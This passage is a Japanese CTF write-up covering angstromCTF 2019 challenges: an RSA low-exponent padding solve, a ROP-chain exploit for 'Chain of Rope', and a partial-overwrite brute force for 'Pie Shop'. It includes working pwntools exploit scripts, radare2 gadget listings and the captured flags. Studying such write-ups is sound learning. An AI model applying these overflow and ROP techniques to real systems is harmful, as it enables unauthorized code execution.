計算結果が平方根になるまで回します。

#!/usr/bin/env python3

from Crypto.Util.number import inverse
from Crypto.Util.number import long_to_bytes
import gmpy2

n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

P = (255-87)//2  # 84
c2 = c * inverse(pow(256**P, e, n), n)
c2 %= n

k = 0
while True:
    print(k)
    m, result = gmpy2.iroot(c2 + (k*n), e)
    if result:
        print(b'flag:' + long_to_bytes(m))
        break
    k += 1

実行結果

(前略)
6886
6887
b'flag:actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}'

結局flagは86文字でしたね。

[Binary] Chain of Rope (80pt)

defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

/problems/2019/chain_of_rope/

nc shell.actf.co 19400

配布されたのは実行ファイルとソース。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

今回も flag() 関数が用意されていますが、そのままでは呼ばれないようです。
このタイトルとソース、最近picoCTF2018で見た気がするぞ…！

ソースを見てみると、順にそれぞれの関数を呼び出す必要があります。flag関数から逆にたどってみます。

flag(int pin, int secret)
- userToken == 0x1337
- balance == 0x4242
- pin == 0xba5eba11
- secret == 0xbedabb1e

userToken, balance はここに来るまでに設定されている必要があります。
userTokenは authorize()関数で、 balance は addBalance() 関数で設定できますが、 addBalance() 関数は中で userToken の確認をしているので先に authorize() 関数を呼ぶ必要があります。

これらの情報を整理すると

authorize()
addBalance( pin=0xdeadbeef )
flag( pin=0xba5eba11, secret=0xbedabb1e )

この順で呼び出すとflagが貰えそうです。

今回攻撃に使えそうなのは、main関数の choice 1 の入力。sizeは32, gets関数なので Buffer Overflow の脆弱性があります。

それぞれの関数のアドレスを見てみます。

[0x004010b0]> afl
(略)
0x00401196    1 21           sym.authorize
0x004011ab    5 64           sym.addBalance
0x004011eb    7 103          sym.flag
0x00401252    1 38           sym.getInfo
0x00401278    8 288          main

また、それぞれの関数の引数はこんな感じ

authorize

/ (fcn) sym.authorize 21
|   sym.authorize ();

addBalance

/ (fcn) sym.addBalance 64
|   sym.addBalance (int arg1);
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi

flag

/ (fcn) sym.flag 103
|   sym.flag (int arg1, int arg2);
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi
|           ; arg int arg2 @ rsi

この情報と必要な引数情報から、下記のように組み立てられると良さそうです。

0x30 + 0x8 | buffer
       0x8 | address authorize()
       0x8 | pop rdi
       0x8 | arg addBalance pin()  # rdi
       0x8 | address addBalance()
       0x8 | pop rdi, rsi
       0x8 | arg flag pin()  # rdi
       0x8 | arg flag secret()  # rsi
       0x8 | address flag()

次に、使えそうな pop 命令をradare2を使って探します。

[0x004010b0]> /R pop
  0x0040116e             4889e5  mov rbp, rsp
  0x00401171         e87affffff  call 0x4010f0
  0x00401176     c6050b2f000001  mov byte [rip + 0x2f0b], 1
  0x0040117d                 5d  pop rbp
  0x0040117e                 c3  ret

(中略)

  0x004013fd                 5c  pop rsp
  0x004013fe               415d  pop r13
  0x00401400               415e  pop r14
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x004013ff                 5d  pop rbp
  0x00401400               415e  pop r14
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x00401401                 5e  pop rsi
  0x00401402               415f  pop r15
  0x00401404                 c3  ret

  0x00401403                 5f  pop rdi
  0x00401404                 c3  ret

最初のpopには、0x00401403 のものがが使えそう。
しかし２つ目の rdi, rsi の pop に該当するものは無さそうです…。

ここまでが競技中。途方に暮れて終わりました。authorization, addBalanceまでは飛べてそうだったので悔しきかな。

どうやら、 0x00401401 の rsi, r15 のpopを使って組み直すようです。

0x30 + 0x8 | buffer
       0x8 | address authorize()
       0x8 | pop rdi
       0x8 | arg addBalance pin()  # rdi
       0x8 | address addBalance()
       0x8 | pop rdi
       0x8 | arg flag pin()  # rdi
       0x8 | pop rsi, r15
       0x8 | arg flag secret()  # rsi
       0x8 | buffer  # r15
       0x8 | address flag()

これをコードに落とすとこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19400

authorize_addr = 0x00401196
addBalance_addr = 0x004011ab
flag_addr = 0x004011eb
addBalance_pin = 0xdeadbeef
flag_pin = 0xba5eba11
flag_secret = 0xbedabb1e

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'3 - Grant access'))
    r.sendline(b'1')
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

buffer = 0x30 + 0x8
address_rdi = 0x00401403
address_rsi_r15 = 0x00401401

payload = b'a' * buffer
payload += p64(authorize_addr)
payload += p64(address_rdi)
payload += p64(addBalance_pin)
payload += p64(addBalance_addr)
payload += p64(address_rdi)
payload += p64(flag_pin)
payload += p64(address_rsi_r15)
payload += p64(flag_secret)
payload += b'a' * 8
payload += p64(flag_addr)
print(b'payload: ' + payload)
attack(payload)

実行結果

$ python solve.py 
b'payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xab\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\x11\xba^\xba\x00\x00\x00\x00\x01\x14@\x00\x00\x00\x00\x00\x1e\xbb\xda\xbe\x00\x00\x00\x00aaaaaaaa\xeb\x11@\x00\x00\x00\x00\x00'
[+] Opening connection to shell.actf.co on port 19400: Done
b'--== ROPE CHAIN BLACK MARKET ==--\nLIMITED TIME OFFER: Sending free flag along with any purchase.\nWhat would you like to do?\n1 - Set name\n2 - Get user info\n3 - Grant access'
[+] Recieving all data: Done (136B)
[*] Closed connection to shell.actf.co port 19400
b'\nAuthenticated to purchase rope chain, sending free flag along with purchase...\nactf{dark_web_bargains}Segmentation fault (core dumped)\n'

また、他の方のwrite-upを見ていると、chainなんか組まずに flag 関数のflag表示処理部分にいきなり飛ばしてやるというのをよく見ました。ここです。

0x00401231      488d3d2f0e00.  lea rdi, qword str.bin_cat_flag.txt ; 0x402067 ; "/bin/cat flag.txt"

ここに飛ぶと、面倒な値チェックをスキップできてflagだけ表示できるので良さそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19400

cat_flag_addr = 0x00401231

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'3 - Grant access'))
    r.sendline(b'1')
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

buffer = 0x30 + 0x8
payload = b'a' * buffer
payload += p64(cat_flag_addr)
print(b'payload: ' + payload)
attack(payload)

実行結果

$ python solve2.py 
b'payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1\x12@\x00\x00\x00\x00\x00'
[+] Opening connection to shell.actf.co on port 19400: Done
b'--== ROPE CHAIN BLACK MARKET ==--\nLIMITED TIME OFFER: Sending free flag along with any purchase.\nWhat would you like to do?\n1 - Set name\n2 - Get user info\n3 - Grant access'
[+] Recieving all data: Done (48B)
[*] Closed connection to shell.actf.co port 19400
b'\nactf{dark_web_bargains}Bus error (core dumped)\n'

これだけで良かったんですねー。全然思いつかなかった…。

[Binary] Pie Shop (100pt)

I sure love pies (source)!

/problems/2019/pie_shop/

nc shell.actf.co 19306

Hint

What does it mean if PIE is enabled on a binary?

20 bits is not that much.

提供されたソースはこちら。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

void get_pie() {
    printf("What type of pie do you want? ");

    char pie[50];
    gets(pie);

    if (strcmp(pie, "apple") == 0) {
        printf("Here's your pie!\n");
        printf("      _,..---..,_\n");
        printf("  ,-\"`    .'.    `\"-,\n");
        printf(" ((      '.'.'      ))\n");
        printf("  `'-.,_   '   _,.-'`\n");
        printf("    `\\  `\"\"\"\"\"`  /`\n");
        printf("      `\"\"-----\"\"`\n");
    } else {
        printf("Whoops, looks like we're out of that one.\n");
    }
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\n");
    get_pie();

    return 0;
}

またもや flag() 関数を呼ぶ必要がありそうですが、普通に実行しても呼ばれない。
また、"What type of pie do you want?" の問に "apple" と答えたときだけイラストを出力してくれるようです。

今回は get_pie() 関数の gets(pie) 部分の BufferOverflow を利用して flag 関数を呼び出します。

各関数のアドレスはこちら

[0x000010b0]> afl
(中略)
0x000011a9    1 19           sym.flag
0x000011bc    4 166          sym.get_pie
0x00001262    1 133          sym.main

なんですが、Hintを見ると PIE というのが鍵になりそう。
位置独立コード - Wikipedia

@kanata201612 kanataさんのwikiにわかりやすい説明が。

CTF Pwn - A painter and a black cat

ASLRが有効な場合、スタック領域・ヒープ領域や共有ライブラリが置かれるアドレスは一定の範囲の中でランダムに決められる。一方、実行ファイルそのものが置かれるアドレスは基本的には固定であるが、PIE (Position-Independent Executables) となるようにコンパイル・リンクすることでランダムなアドレスに置けるようにできる。

ということで、ASLRと同様にランダムなアドレスに配置される仕組みのようです。今回のファイルを調べてみました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
# check ELF
e = ELF('pie_shop')
print('PIE: ' + str(e.pie))
print('ENDIAN: ' + str(e.endian))

実行結果

(略)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
PIE: True
ENDIAN: little

見事にPIEが有効になっていますね。

さきほどの kanata さんのページの CTF Pwn - A painter and a black cat
に、Partial overwrite という攻撃手法が紹介されています。

ASLRおよびPIEが有効な場合、.textセクションもランダム化される。しかしリトルエンディアン環境においては、リターンアドレスなどの下位バイトのみを書き換えることで付近のコードにジャンプさせることが可能となる。

リトルエンディアンの場合0x12345678はスタック上で 0x78563412と格納されている。よってBOFなどにより例えば0x78の下位2バイトのみを書き換える事で、近いアドレスにジャンプさせる事ができる。飛ばせる先が限られている(他の手法と組み合わせて使う場合が多い)、リトルエンディアンでしか使えない。

ということで、今回はリトルエンディアンであること、あとは下位バイトのみを書き換える = Hintの"20 bits is not that much."に合致しそう。

というところまでは見たのですが、コレ以上深追いせず。

他の方のwrite-up

結局期待したアドレスにflag関数が配置されるまで、同じアドレスを指定してブルートフォースしているっぽいwrite-upばかりであった。

CTF-Writeups/PieShop.md at master · MarcoGarlet/CTF-Writeups · GitHub
- partial-overwriteにも触れている
https://samcalamos.com.au/2019/04/25/angstrom-2019-pie-shop-writeup-bad/
デンパ on Twitter: "PIE Shopの解答です #angstromCTF… "

私もこの方法を試したが時間内に見つからなかった。同じことを試したはず…。しかし結構解けてる人がいる🤔🤔🤔

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'shell.actf.co'
port = 19306

addr_flag = 0x11a9

def attack(payload):
    r = remote(host, port)
    print(r.recvuntil(b'What type of pie do you want? '))
    r.sendline(payload)
    res = r.recvall()
    print(res)
    r.close()
    if b'actf{' in res:
        return True
    return False

# check ELF
e = ELF('pie_shop')
print('PIE: ' + str(e.pie))
print('ENDIAN: ' + str(e.endian))

buffer = 0x40 + 0x8
counter = 0
while True:
    print('counter: ' + str(counter))
    payload = b'a' * buffer
    payload += p16(addr_flag)
    print(payload)
    if attack(payload):
        break
    counter += 1

競技時間終了後、flag出た。上記スクリプト実行結果

counter: 11794
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa9\x11'
[+] Opening connection to shell.actf.co on port 19306: Done
b'Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\nWhat type of pie do you want? '
[+] Recieving all data: Done (105B)
[*] Closed connection to shell.actf.co port 19306
b"Whoops, looks like we're out of that one.\nactf{a_different_kind_of_pie}\nSegmentation fault (core dumped)\n"

競技終了後、1万回以上の試行で出ました…。運が悪かったのか。時間は測り忘れた。
nc ではなく shell server 上でやろうか悩んだが、プログラムを組むのが手軽だった nc の方でやってしまった。shell server 上にスクリプト送って実行 or ワンラインコマンド書いて実行のほうが短時間で結果が出たかな？

感想

他にも手を付けていたものはあったが、まだまだ理解が足りなくて頭の整理が追いつかなかった。残念。
今まで理解が不十分なまま雰囲気で解いていたものへの理解が進んだり、思っていた解き方と違うけど「確かに」という解き方があったりして、とても勉強になった。
そして基礎からやっぱちゃんとやらないとなー（特にBinary）というのがよーくわかったので、ハリネズミ本＆演習を読み進めようかな。